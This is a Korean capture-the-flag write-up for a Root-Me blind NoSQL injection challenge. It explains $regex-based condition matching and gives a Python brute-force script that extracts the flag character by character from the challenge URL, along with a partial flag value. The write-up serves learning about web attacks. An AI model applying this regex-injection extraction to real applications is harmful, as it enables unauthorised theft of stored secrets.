Challenge와 그에 맞는 flag 값을 요구하고 있다.
Challenge 값을 주어진 nosqlblind
로 설정하고 접속을 시도해보면
flag가 맞지 않을 때의 FALSE에 해당하는 페이지와
NoSQL Injection으로 조건문을 일치시켰을 때 TRUE에 해당하는 페이지를 확인할 수 있다.
sql 쿼리를 사용하는 SQL Injection와 원리는 같지만, 다양한 함수를 이용하고 조건을 결합하는 형태의 공격이 아니다.
NoSQL에서는 그런 함수를 제공해주지 않기 때문에, 단순히 $ne
와 같은 연산자를 활용해 문자열을 검색하는 수준에서 이용가능한 공격기법이다.
정규표현식으로 검색하는 연산자다.
이 연산자를 사용해 문자열을 대입하여 플래그값을 추출할 수 있다.
사용되는 표현식은 다음과 같다.
flag[$regex] = ^[bruteforce].*
bruteforce
는 하나씩 대입하는 문자열 set 값이다.
파이썬으로 코드를 작성한다.
import urllib
import requests
import tqdm
import string
url = 'http://challenge01.root-me.org/web-serveur/ch48/index.php'
table = string.digits + string.letters + '\\'.join(list('!@#$%^&*()_+{}:"<>?-=[];\',./'))
print 'table: ' + table
ch = ''
flags = '3@sY_n0_5q7_1nj3c710n'
flag_find = 0
while True:
for x in table:
if x == '\\':
ch = '\\'
continue
x = ch+x
ch = ''
payload = '^' + flags + x +'.*'
print 'payload : ' + payload
params = {'chall_name' : 'nosqlblind', 'flag[$regex]' : payload}
'''
urllib.quote_plus('url 인코딩할 문자열')
'''
res = requests.get(url, params = params)
if res.text.find('Yeah') != -1:
print 'Found flags ::: ' + x
flags += x.replace('\\', '')
flag_find = 1
break
if flag_find != 1:
break
flag_find = 0
print 'flag: ' + flags
해당 코드를 실행하면 플래그값이 출력된다.